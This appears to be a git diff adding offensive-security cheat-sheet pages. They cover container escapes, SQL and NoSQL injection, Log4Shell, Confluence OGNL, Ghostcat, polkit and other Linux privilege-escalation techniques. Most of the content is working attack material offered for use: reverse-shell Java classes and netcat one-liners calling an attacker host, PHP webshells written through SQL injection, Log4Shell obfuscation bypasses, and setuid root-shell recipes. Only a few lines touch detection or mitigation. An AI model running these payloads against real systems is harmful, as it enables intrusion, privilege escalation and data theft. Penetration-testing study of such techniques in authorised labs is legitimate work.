* `/` of the node is mounted to `/host` inside the new pod
|
||||
* Create the pod via
|
||||
```sh
|
||||
kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 apply -f <filename.yaml>
|
||||
```
|
||||
* Run an interactive session on the pod
|
||||
```sh
|
||||
kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 exec -it attacking-pod -- /bin/bash
|
||||
```
|
|
@ -0,0 +1,32 @@
|
|||
# LXC
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
### Member of lxd Group
|
||||
|
||||
* [Hackingarticles article](https://www.hackingarticles.in/lxd-privilege-escalation/)
|
||||
* User has to be in `lxd` group, not necessarily `sudo`.
|
||||
|
||||
#### Usage
|
||||
* Clone and build
|
||||
```sh
|
||||
git clone https://github.com/saghul/lxd-alpine-builder.git
|
||||
cd lxd-alpine-builde && sudo && ./build alpine
|
||||
```
|
||||
* Upload to target
|
||||
* Import alpine image
|
||||
```sh
|
||||
lxc image import ./alpine-v3.14-x86_64-20210920_2132.tar.gz --alias myimage
|
||||
```
|
||||
* Prepare image
|
||||
```sh
|
||||
lxc image list
|
||||
lxc init myimage ignite -c security.privileged=true
|
||||
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
|
||||
lxc start ignite
|
||||
lxc exec ignite /bin/sh
|
||||
```
|
||||
* Host `/` is mounted at `/mnt/root` inside the container
|
||||
* `root` directory is at `/mnt/root/root`
|
||||
|
||||
|
|
@ -0,0 +1,39 @@
|
|||
# MicroK8s
|
||||
|
||||
|
||||
## Usage
|
||||
|
||||
* Create `pod.yaml` configuration
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: harry-podder
|
||||
spec:
|
||||
containers:
|
||||
- name: shell
|
||||
image: localhost:47111/alpine
|
||||
command:
|
||||
- "/bin/bash"
|
||||
- "-c"
|
||||
- "sleep 10000"
|
||||
volumeMounts:
|
||||
- name: root
|
||||
mountPath: /mnt/root
|
||||
volumes:
|
||||
- name: root
|
||||
hostPath:
|
||||
path: /
|
||||
type: Directory
|
||||
```
|
||||
|
||||
* Deploy the pod
|
||||
```sh
|
||||
microk8s kubectl apply -f pod.yaml
|
||||
```
|
||||
* Run the Pod
|
||||
```sh
|
||||
microk8s kubectl exec -it harry-podder -- /bin/bash
|
||||
```
|
||||
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
# DNS Zone Transfer
|
||||
|
||||
Relies on misconfiguration of the zone's master. Just query a domain from the master, if possible. Results in a disclosure of subdomains and all records previously made.
|
||||
```sh
|
||||
drill axfr test.com @<master-DNS>
|
||||
```
|
|
@ -0,0 +1,9 @@
|
|||
# MSSQL
|
||||
|
||||
# Usage
|
||||
|
||||
* `sqsh` as a shell
|
||||
* After connection is established check `xp_cmdshell'
|
||||
```sh
|
||||
xp_cmdshell 'whoami';
|
||||
```
|
|
@ -0,0 +1,38 @@
|
|||
# NoSQL Injections
|
||||
|
||||
* No tables, but files (collections)
|
||||
* Examples are Elasticsearch, MongoDB, Redis, CouchDB.
|
||||
|
||||
## Querying
|
||||
* Filter instead of SQL queries
|
||||
* [Redis docs](https://redis.io/documentation)
|
||||
* [MongoDB operators](https://docs.mongodb.com/manual/reference/operator/query/)
|
||||
* [Elasticsearch docs](https://www.elastic.co/guide/index.html)
|
||||
|
||||
# Operators
|
||||
* Most common
|
||||
```sql
|
||||
$and
|
||||
$or
|
||||
$eq
|
||||
$ne
|
||||
$gt
|
||||
$where
|
||||
$exists
|
||||
$regex
|
||||
```
|
||||
|
||||
## Tips & Tricks
|
||||
|
||||
* Pass HTTP parameter as an array instead of `user=` and `password=` use `user[$operator]=foo` and `password[$operator]=bar`
|
||||
* 2D array via `user[$nin][]=foo`
|
||||
|
||||
## Example
|
||||
* POST or GET parameters
|
||||
```sh
|
||||
username=admin&password[$ne]=admin
|
||||
```
|
||||
* JSON
|
||||
```json
|
||||
{"username":"user","password":{"$ne":""} }
|
||||
```
|
|
@ -0,0 +1,157 @@
|
|||
# SQL Injection
|
||||
|
||||
* [MySQL Comments](https://blog.raw.pm/en/sql-injection-mysql-comment/)
|
||||
|
||||
## Finding an Opportunity
|
||||
* GET parameter
|
||||
```sh
|
||||
http://example.com/index.php?id=' or 1=1 -- -
|
||||
```
|
||||
* Sometimes an ID or may come first
|
||||
```sh
|
||||
http://example.com/index.php?id=10 or 1=1 -- +
|
||||
http://example.com/index.php?id=10' or '1'='1'-- -
|
||||
http://example.com/index.php?id=-1' or 1=1 -- -&password=x
|
||||
```
|
||||
* Provoke error to gain information
|
||||
```sh
|
||||
http://example.com/index.php?id='
|
||||
```
|
||||
* **Incase of client side sanitization craft the URL instead of using the form!!!**
|
||||
|
||||
## Usage
|
||||
* Example, terminate string via `'` and resolve via tautology, comment the rest of the string via `--`
|
||||
```sql
|
||||
SELECT * FROM users WHERE username = admin AND password := ' and 1=1 -- -
|
||||
SELECT * FROM users WHERE username = admin AND password := ' or 1=1 --+
|
||||
```
|
||||
|
||||
### Boolean True and False
|
||||
```sql
|
||||
SELECT * FROM users WHERE username = admin AND password :=1' or 1 < 2 --+
|
||||
SELECT * FROM users WHERE username = admin AND password :=1' or 1 > 2 --+
|
||||
```
|
||||
* Blind boolean base substring fuzzing, one char at a time, by inspecting the return value after each inserted char.
|
||||
```sql
|
||||
' UNION SELECT null,null,null where database() like 'da%';-- -
|
||||
```
|
||||
|
||||
### Time based
|
||||
* Checking input blindly via sleep() function. Count number of cols in this way. If it is successful, the sleep(5) function executes
|
||||
```sql
|
||||
' union select sleep(3), null; -- -
|
||||
```
|
||||
|
||||
### Blind injection // Guessing characters
|
||||
```sh
|
||||
http://example.com/?id=1' and substr((select database()),1,1) < 105 --+
|
||||
```
|
||||
```sh
|
||||
http://example.com/?id=1' and (ascii(substr((select database(),1,1)) = 115 --+
|
||||
```
|
||||
* Function substr(string, start, length)
|
||||
* sqlmap via `--level=5 --risk=3 --dbms=sqlite --technique=b --dump`
|
||||
|
||||
### Union based
|
||||
* _First method__ check by order until error occurs
|
||||
```sql
|
||||
' order by 1 -- -
|
||||
' order by 2 -- -
|
||||
' order by 3 -- -
|
||||
```
|
||||
* __Second method__ fuzzing NULL values, followed by fuzzing data types
|
||||
* Check number of cols
|
||||
```sql
|
||||
' UNION SELECT NULL--
|
||||
' UNION SELECT NULL,NULL--
|
||||
' UNION SELECT NULL,NULL,NULL--
|
||||
# until the error occurs
|
||||
```
|
||||
* Check which one is a string
|
||||
```sql
|
||||
' UNION SELECT 'a',NULL,NULL,NULL--
|
||||
' UNION SELECT NULL,'a',NULL,NULL--
|
||||
' UNION SELECT NULL,NULL,'a',NULL--
|
||||
' UNION SELECT NULL,NULL,NULL,'a'--
|
||||
```
|
||||
* Retrieve content, for cols and comment two times as an example. Or dump database
|
||||
```sql
|
||||
' UNION SELECT NULL,NULL,database(),NULL,NULL from users -- //
|
||||
' UNION SELECT NULL,username,password,NULL FROM users -- //
|
||||
```
|
||||
|
||||
* Retrieve content by union poking the count and order, afterwards extracting tables via
|
||||
```sh
|
||||
0 union select null, null, database()
|
||||
0 union select null, null, group_concat(table_name) from information_schema.tables where table_schema = 'found_db'
|
||||
0 union select null, null, group_concat(column_name) from information_schema.columns where table_name = 'found_tablename'
|
||||
0 union select null, null, group_concat(username, ':', password from found_tablename
|
||||
```
|
||||
|
||||
* [OWASP SQLi Docs](https://www.owasp.org/index.php/SQL_Injection)
|
||||
|
||||
### Identify Database
|
||||
```sh
|
||||
id=sqlite_version()
|
||||
id=@@version # mysql/mssql
|
||||
id=(SELECT banner FROM v$version) # oracle
|
||||
```
|
||||
|
||||
#### SQL Functions
|
||||
* Use sql functions to fumble the tables & cols via union
|
||||
* [source](https://medium.com/@nyomanpradipta120/sql-injection-union-attack-9c10de1a5635)
|
||||
* Extract tables
|
||||
```sql
|
||||
1' and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() -- -
|
||||
```
|
||||
* sqlite specific
|
||||
```sql
|
||||
' UNION SELECT sql, sql FROM sqlite_master -- -
|
||||
```
|
||||
```sql
|
||||
(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='usertable')
|
||||
(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')
|
||||
```
|
||||
* Extract cols
|
||||
```sh
|
||||
1' and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name ='user'-- -
|
||||
```
|
||||
* Data from cols
|
||||
```sql
|
||||
1' and 1=2 union select 1,group_concat(username,0x3a,password),3,4 from user-- -
|
||||
```
|
||||
|
||||
## Insert
|
||||
|
||||
* Check user file permissions
|
||||
```sql
|
||||
union all select 1,group_concat(user,0x3a,file_priv),3,4 from mysql.user -- -
|
||||
```
|
||||
|
||||
* Insert file through insertion of `system()` or `exec_shell()` and a get parameter
|
||||
```sql
|
||||
<cookieID>'into outfile '/var/www/html/shello.php' lines terminated by 0x3c3f706870206563686f20223c7072653e22202e2073797374656d28245f4745545b22636d64225d29202e20223c2f7072653e223b3f3e -- -
|
||||
```
|
||||
|
||||
* Insert `<?php system($_GET["cmd"]); ?>`
|
||||
```sql
|
||||
" Union Select 1,0x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d,3,4 INTO OUTFILE '/var/www/html/shell.php' -- -
|
||||
```
|
||||
|
||||
### Examples
|
||||
* sqli inside HTTP request to an API. Five values inside select have been discovered before
|
||||
```HTTP
|
||||
GET /about/0 UNION select column_name, null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
|
||||
```
|
||||
* Get col names
|
||||
```HTTP
|
||||
GET /about/0 UNION all select group_concat(column_name), null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
|
||||
```
|
||||
* Get notes from users by id
|
||||
```HTTP
|
||||
GET /about/0 UNION all select notes, null, null, null, null from users where id = 4711 HTTP/1.1
|
||||
```
|
||||
|
||||
## Payloads
|
||||
* [List](https://github.com/payloadbox/sql-injection-payload-list#generic-sql-injection-payloads)
|
||||
|
|
@ -0,0 +1,44 @@
|
|||
# SQLmap
|
||||
|
||||
|
||||
* [sqlmap](https://github.com/sqlmapproject/sqlmap.git)
|
||||
* [CheatSheet](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)
|
||||
* [Examples](https://www.security-sleuth.com/sleuth-blog/2017/1/3/sqlmap-cheat-sheet)
|
||||
|
||||
## Usage
|
||||
|
||||
* Use `-r` with a saved HTTP request
|
||||
```sh
|
||||
sqlmap -r request.txt --dbms=mysql --dump
|
||||
sqlmap -r request.txt --batch
|
||||
```
|
||||
* Select form data automatically
|
||||
```sh
|
||||
sqlmap -u http://<target-IP>/site.php --forms --dump-all
|
||||
```
|
||||
* [Get reverse shell via sqlmap](https://www.hackingarticles.in/shell-uploading-in-web-server-using-sqlmap/)
|
||||
|
||||
|
||||
|Parameter|Details|
|
||||
|---------|-------|
|
||||
|-r|Uses the intercepted request save as a file|
|
||||
|--dbms|DBMS of target|
|
||||
|--dump|Dump the entire database|
|
||||
|--dump-all|Dump everything|
|
||||
|-p |TESTPARAMETER|
|
||||
|--os-shell|Prompt for an interactive operating system shell|
|
||||
|--os-pwn|Prompt for an OOB shell, Meterpreter or VNC|
|
||||
|--tables|Show tables|
|
||||
|-T|Specify table|
|
||||
|
||||
## Other Tools
|
||||
|
||||
### Damn Small SQLi Scanner (DSSS)
|
||||
* [Script](https://github.com/stamparm/DSSS.git)
|
||||
```sh
|
||||
python dsss.py -u "http://example.com/index.php?id="
|
||||
```
|
||||
|
||||
### Online sqlmap
|
||||
* [Link](https://suip.biz/?act=sqlmap)
|
||||
|
|
@ -0,0 +1,3 @@
|
|||
# ImageTragick
|
||||
|
||||
* [ImageTragick Website](https://imagetragick.com)
|
|
@ -0,0 +1,23 @@
|
|||
# CVE-2022-26134
|
||||
|
||||
* [NIST CVE-2022-26134](https://nvd.nist.gov/vuln/detail/CVE-2022-26134)
|
||||
* Confluence versions:
|
||||
* 1.3.0 to 7.4.17
|
||||
* 7.13.0 to 7.13.7
|
||||
* 7.14.0 to 7.14.3
|
||||
* 7.15.0 to 7.15.2
|
||||
* 7.16.0 to 7.16.4
|
||||
* 7.17.0 to 7.17.4
|
||||
* 7.18.0 to 7.18.1
|
||||
* Object Graph Navigation Language (OGNL)
|
||||
|
||||
## Usage
|
||||
|
||||
* Payload is a GET request which is set via the URI
|
||||
```sh
|
||||
${@java.lang.Runtime@getRuntime().exec("touch /tmp/exploit")}/
|
||||
```
|
||||
* URL encode and curl for PoC
|
||||
|
||||
* Use [Naqwda's exploit](https://github.com/Nwqda/CVE-2022-26134.git)
|
||||
|
|
@ -0,0 +1,19 @@
|
|||
# Ghidra Debug RCE
|
||||
|
||||
* If debug mode is enabled, connect to it via `jdb`
|
||||
```sh
|
||||
jdb -attach $TARGET_IP:$TARGET_PORT
|
||||
```
|
||||
```sh
|
||||
classpath
|
||||
classes
|
||||
```
|
||||
* Stop the service
|
||||
```sh
|
||||
stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()
|
||||
```
|
||||
* Wait until the breakpoint hits and start a reverse shell
|
||||
```sh
|
||||
print new java.lang.Runtime().exec("nc.traditional $ATTACKER_IP 4449 -e /bin/sh")
|
||||
```
|
||||
|
|
@ -0,0 +1,14 @@
|
|||
# Ghostcat
|
||||
|
||||
* CVE-2020-1938
|
||||
* Msfconsole or [exploitdb](https://www.exploit-db.com/exploits/48143)
|
||||
* Craft a manual war shell shown at [hacktrick's tomcat site](https://book.hacktricks.xyz/pentesting/pentesting-web/tomcat#reverse-shell)
|
||||
* upload the file via
|
||||
```sh
|
||||
curl -T ./webshell.war -u 'user:password' http://$TARGET_IP:8080/manager/text/deploy?path=/shello
|
||||
```
|
||||
* Visit the webshell at `$TARGET_IP:8080/shello/`
|
||||
* Alternatively use a war reverse shell via
|
||||
```sh
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4449 -f war -o revshell.war
|
||||
```
|
|
@ -0,0 +1,133 @@
|
|||
# Log4Shell
|
||||
|
||||
* `log4j` < version 2.15.0rc2
|
||||
* [CVE-2021-44228](https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java)
|
||||
* [log4j vulnerability tester](https://log4shell.huntress.com/)
|
||||
* [List of exploitable services](https://github.com/YfryTchsGD/Log4jAttackSurface)
|
||||
|
||||
* Code inside a `param` value is parsed and a `${payload}` will be executed, for example
|
||||
```sh
|
||||
${sys:os.name}
|
||||
${sys:user.name}
|
||||
${log4j:configParentLocation}
|
||||
${ENV:PATH}
|
||||
${ENV:HOSTNAME}
|
||||
${java:version}
|
||||
```
|
||||
## Java Naming and Directory Interface JNDI
|
||||
|
||||
* Vulnerability can be exploited via `${jndi:ldap://<attacker-IP>/foo}`
|
||||
|
||||
## POC
|
||||
```sh
|
||||
curl 'http://$TARGET:8983/solr/admin/cores?foo=?$\{jndi:ldap://$ATTACKER_IP:4449\}'
|
||||
```
|
||||
* Use HTTP header field as storage for payload or any other possible input field
|
||||
```HTTP
|
||||
X-Forwarded-For: ${jndi:ldap://$ATTACKER_IP:1389/foo}
|
||||
Accept: ${jndi:ldap://$ATTACKER_IP:1389/foo}
|
||||
X-Api-Version: ${jndi:ldap://$ATTACKER_IP:1389/foo}
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
* Fuzz endpoints to applicate the exploit on
|
||||
* Clone and build [marshallsec](https://github.com/mbechler/marshalsec) via `mvn clean package -DskipTests`
|
||||
* Java version should be the same as the one on the target
|
||||
* A Proxy LDAP server to an HTTP server is needed
|
||||
|
||||
* Compile following Java reverse shell via `javac Exploit.java -source 8 -target 8` to Exploit.class
|
||||
```java
|
||||
public class Exploit {
|
||||
static {
|
||||
try {
|
||||
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash $ATTACKER_IP 4449");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
or another one
|
||||
```java
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.Socket;
|
||||
|
||||
public class Exploit {
|
||||
static {
|
||||
String host = "$ATTACKER_IP";
|
||||
int port = 4711;
|
||||
String cmd = "/bin/sh";
|
||||
try {
|
||||
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
|
||||
Socket s = new Socket(host, port);
|
||||
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
|
||||
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
|
||||
while (!s.isClosed()) {
|
||||
while (pi.available() > 0)
|
||||
so.write(pi.read());
|
||||
while (pe.available() > 0)
|
||||
so.write(pe.read());
|
||||
while (si.available() > 0)
|
||||
po.write(si.read());
|
||||
so.flush();
|
||||
po.flush();
|
||||
Thread.sleep(50);
|
||||
try {
|
||||
p.exitValue();
|
||||
break;
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
p.destroy();
|
||||
s.close();
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
* Run the LDAP, HTTP and reverse shell
|
||||
```sh
|
||||
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://$ATTACKER_IP:8000/#Exploit"
|
||||
```
|
||||
```sh
|
||||
php -S 0.0.0.0:8000
|
||||
```
|
||||
```sh
|
||||
nc -lvnp 4449
|
||||
```
|
||||
|
||||
* Trigger via `curl 'http://$TARGET:8983/solr/admin/cores?foo=$\{jndi:ldap://$ATTACKER_IP:1389/Exploit\}'`
|
||||
|
||||
## Detection
|
||||
|
||||
* [Log4Shell-Hashes](https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes.git)
|
||||
* [Vulnerable Class + Jar hashes](https://github.com/nccgroup/Cyber-Defence/tree/master/Intelligence/CVE-2021-44228)
|
||||
* [reddit mega thread](https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/)
|
||||
* [Yara rules](https://github.com/darkarnium/CVE-2021-44228)
|
||||
|
||||
* Parse logs for `jndi`
|
||||
|
||||
## Obfuscation
|
||||
|
||||
* Possible bypasses are as follows
|
||||
```sh
|
||||
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
|
||||
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
|
||||
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
|
||||
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
|
||||
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
|
||||
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
|
||||
${${::-j}ndi:rmi://attackerendpoint.com/}
|
||||
```
|
||||
|
||||
## Mitgation
|
||||
|
||||
* [Apache Solr security news](https://solr.apache.org/security.html)
|
||||
* Add the following line to `solr.in.sh`
|
||||
```toml
|
||||
SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"
|
||||
10.10.90.21210.10.90.212
|
||||
```
|
|
@ -0,0 +1,14 @@
|
|||
# CVE-2022-22965
|
||||
|
||||
* [Mitre CVE details](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-22965)
|
||||
* Follow up to CVE-2010-1622 by circumventing the patch for the vulnerability
|
||||
* RCE of `*.jsp` files through tomcat HTTP post request
|
||||
|
||||
* Conditions
|
||||
* > jdk9
|
||||
* Spring framework < 5.2, 5.2.0-19, 5.3.0-17
|
||||
* Apache tomcat
|
||||
* spring as WAR package
|
||||
* `spring-webvmc` or `spring-webflux` components of the spring framework
|
||||
|
||||
|
|
@ -0,0 +1,14 @@
|
|||
# Capabilities
|
||||
|
||||
* [HackTricks](https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities)
|
||||
|
||||
## Usage
|
||||
* Find capabilities
|
||||
```sh
|
||||
getcap -r / 2>/dev/null
|
||||
```
|
||||
|
||||
* `cap_setuid` through `/bin/perl`
|
||||
```sh
|
||||
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"'
|
||||
```
|
|
@ -0,0 +1,15 @@
|
|||
# CVE-2022-0847
|
||||
|
||||
* [Max Kellerman's post](https://dirtypipe.cm4all.com/)
|
||||
|
||||
* 5.8 < Vulnerable kernels < 5.10.102
|
||||
* If a file can be read, it can be written also.
|
||||
|
||||
## Usage
|
||||
|
||||
* `splice(2)` moves data between files and through pipes without copying between kernel and user adress space
|
||||
* Anonymous pipes permissions are not checked
|
||||
* Read only permissions on pages do not matter on a pipe level
|
||||
* Splice is putting data into the pipe and malicious data afterwards in the same one to overwrite the mem page
|
||||
* `PIPE_BUF_FLAG_CAN_MERGE` flag has to be activated in order to write back to a file
|
||||
* Works as long as there is an offset to start of a page in the beginning of the writing
|
|
@ -0,0 +1,12 @@
|
|||
# CVE-2021-22204
|
||||
|
||||
* Craft an a payload and execute it via exiftool
|
||||
* [Article](https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/)
|
||||
|
||||
## Usage
|
||||
* Payload is `(metadata "\c${system('id')};")`
|
||||
```sh
|
||||
sudo apt install djvulibre-bin
|
||||
bzz payload payload.bzz
|
||||
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
|
||||
```
|
|
@ -0,0 +1,3 @@
|
|||
# Groups
|
||||
|
||||
* [steflan-security](https://steflan-security.com/linux-privilege-escalation-exploiting-user-groups/)
|
|
@ -0,0 +1,56 @@
|
|||
# LD_PRELOAD
|
||||
|
||||
* Preload libs and do interpositioning of functions.
|
||||
|
||||
* `man ld.so`
|
||||
* `man dlsym`, `dlsym()` calls the original function
|
||||
|
||||
## Example 1
|
||||
* Interpositioning of `_init()`
|
||||
```sh
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
void _init() {
|
||||
unsetenv("LD_PRELOAD");
|
||||
setgid(0);
|
||||
setuid(0);
|
||||
system("/bin/bash");
|
||||
}
|
||||
```
|
||||
* `gcc -fPIC -shared -o lib.so lib.c -nostartfiles`
|
||||
* `sudo LD_PRELOAD=lib.so apache2`
|
||||
* `$ id`
|
||||
|
||||
|
||||
## Example 2
|
||||
* Interpositioning of `write()`
|
||||
```C
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <dlfcn.h> // Contains _GNU_SOURCE from man dlsym
|
||||
#include <string.h>
|
||||
ssize_t write(int fildes, const void *buf, size_t nbytes)
|
||||
{
|
||||
ssize_t result;
|
||||
do the thing;
|
||||
return result;
|
||||
}
|
||||
```
|
||||
* In case the symbol lookup returns an error libdl is linked
|
||||
```sh
|
||||
gcc -ldl interpositioning.c -fPIC -shared -D _GNU_SOURCE -o interpositioning.so -ldl`
|
||||
```
|
||||
## Preloading
|
||||
* Dependent on the installation status of lib32 and/or lib64 and various packages the path of `LD_PRELOAD` has to be set differently. These may look as follows
|
||||
* `LD_PRELOAD=./interpositioning.so <binary>`
|
||||
or
|
||||
* `export LD_PRELOAD=$(pwd)/interpositioning.so`
|
||||
or
|
||||
* Global preload via `/etc/ld.so.preload`
|
||||
or
|
||||
* Change the preload path via `LD_PRELOAD_PATH`
|
||||
|
||||
* Verify via `ldd <somebinary>`
|
||||
|
|
@ -0,0 +1,21 @@
|
|||
# NFS RootSquash
|
||||
|
||||
* [hacktricks](https://book.hacktricks.xyz/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe)
|
||||
* `no_root_squash` has to be as an option on the NFS device
|
||||
|
||||
## Usage
|
||||
* `showmount -e <target-IP>`
|
||||
* `mkdir /tmp/net_volume`
|
||||
|
||||
* Connect to NFS share
|
||||
```sh
|
||||
mount -o rw,vers=2 <nfsShare-IP>:/tmp /tmp/net_volume
|
||||
```
|
||||
|
||||
* Create root shell inside the dir of the share
|
||||
```sh
|
||||
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/net_volume/shell.c
|
||||
gcc /tmp/net_volume/shell.c -o /tmp/net_volume/shell
|
||||
chmod +s /tmp/net_volume/shell
|
||||
```
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
# CVE-2021-3493
|
||||
|
||||
* Kernel module, enables aggregation of mountpoints in a single tree of which parts are writeable others are not
|
||||
* [Exploit](https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/)
|
||||
|
||||
|
|
@ -0,0 +1,40 @@
|
|||
# CVE-2021-3560
|
||||
|
||||
* Exploit `< 0.105-26ubuntu1.1`
|
||||
|
||||
|
||||
## Racing Condition
|
||||
* Request creation of account via dbus message and `pkexec`. sleep time is variable.
|
||||
```sh
|
||||
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:user1 string:"New Account" int32:1 & sleep 0.005s; kill $!
|
||||
```
|
||||
* Create password via `openssl passwd -6 -salt salt password123`
|
||||
```sh
|
||||
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$salt$cevuzTZ/QBjzuZG0/ebEeedmcTnhyM8ITUu8K032Cp2XvIibq7voqYagm18bwpLBqrg/l/l6YxTmKKibJz5r10' string:'New Password' & sleep 0.005s; kill $!
|
||||
```
|
||||
* Request is killed after polkits receives it
|
||||
|
||||
* Polkit requests uid of user who sent the message, which has been deleted
|
||||
* Error will be thrown
|
||||
* Uid turns to root afterwards
|
||||
* Request succeeds
|
||||
|
||||
* `su user1` and `sudo -s`
|
||||
|
||||
|
||||
# Priv Esc with Two Sessions
|
||||
* User has to be member of group `sudo`
|
||||
* Open two ssh sessions
|
||||
* In session one check the PID
|
||||
```sh
|
||||
echo $$
|
||||
```
|
||||
* In the other session
|
||||
```sh
|
||||
pkttyagent --process <PID of s1>
|
||||
```
|
||||
* In session one do
|
||||
```sh
|
||||
pkexec "/bin/bash"
|
||||
```
|
||||
* Enter password in session two
|
|
@ -0,0 +1,22 @@
|
|||
# Racing Conditions
|
||||
|
||||
## Read files from another user
|
||||
|
||||
* The file of interest needs to be opened by a process which is a suid binary (here named `read_reds`) and creates a file descriptor to it
|
||||
* The file of intereset is called `root_credentials` and is owned by root
|
||||
* Create a file
|
||||
```sh
|
||||
touch yo
|
||||
```
|
||||
* Compile `gistfile.txt` from [live overflow's repo](https://gist.github.com/LiveOverflow/590edaf5cf3adeea31c73e303692dec0)
|
||||
```sh
|
||||
gcc gistfile.c -o rename_file
|
||||
```
|
||||
* Inside session 1 start the binary
|
||||
```sh
|
||||
./rename_file yo root_credentials
|
||||
```
|
||||
* Inside session to try to read `root_credentials` until it succeeds
|
||||
```sh
|
||||
./read_creds root_credentials
|
||||
```
|
|
@ -0,0 +1,13 @@
|
|||
# setcap
|
||||
|
||||
* Set capabilities of a binary
|
||||
* [Hacktrick's setuid page](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/euid-ruid-suid)
|
||||
|
||||
|
||||
## Usage
|
||||
|
||||
* If there is an S-bit or sudo on setcap do the following. Copy python binary and
|
||||
```sh
|
||||
setcap cap_setuid+ep /absolute/path/to/copied/python3
|
||||
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
|
||||
```
|
|
@ -0,0 +1,24 @@
|
|||
# Shared Object Injection
|
||||
|
||||
* [gaffe23](https://github.com/gaffe23/linux-inject)
|
||||
* [exploit-db](https://www.exploit-db.com/papers/37606)
|
||||
|
||||
* Test binary via
|
||||
```sh
|
||||
strace <binary> 2>&1 | grep -i -E "open|access|no such file"
|
||||
```
|
||||
|
||||
## Example
|
||||
|
||||
```sh
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
static void inject ( ) __attribute__ ( (constructor) );
|
||||
|
||||
void inject ( ) {
|
||||
system ( "cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p" );
|
||||
}
|
||||
```
|
||||
* `gcc -fPIC -shared -o ~/.config/lib.so ~/.config/lib.c`
|
||||
* Run binary using the lib
|
|
@ -0,0 +1,6 @@
|
|||
# Shell Shock
|
||||
|
||||
* Check target via
|
||||
```sh
|
||||
curl -A "() { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id" http://<target-IP>/cgi-bin/test/test.cgi
|
||||
```
|
|
@ -0,0 +1,26 @@
|
|||
# Wildcard usage
|
||||
* [Leon Juranic has shown it](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/)
|
||||
|
||||
## Another Example
|
||||
|
||||
* cronjob gets backup data from `/var/www/html` via `tar cf backup.tar *`. The reverse shell and the parameters need to be files in this directory to get called by tar and be executed.
|
||||
|
||||
```sh
|
||||
echo "mkfifo /tmp/oytqnhq; nc <IP> <PORT> 0</tmp/oytqnhq | /bin/sh >/tmp/oytqnhq 2>&1; rm /tmp/oytqnhq" > shell.sh
|
||||
echo "" > "--checkpoint-action=exec=sh shell.sh"
|
||||
echo "" > "--checkpoint=1"
|
||||
```
|
||||
or
|
||||
```sh
|
||||
echo "mkfifo /tmp/oytqnhq; nc <IP> <PORT> 0</tmp/oytqnhq | /bin/sh >/tmp/oytqnhq 2>&1; rm /tmp/oytqnhq" > /var/www/html/shell.sh
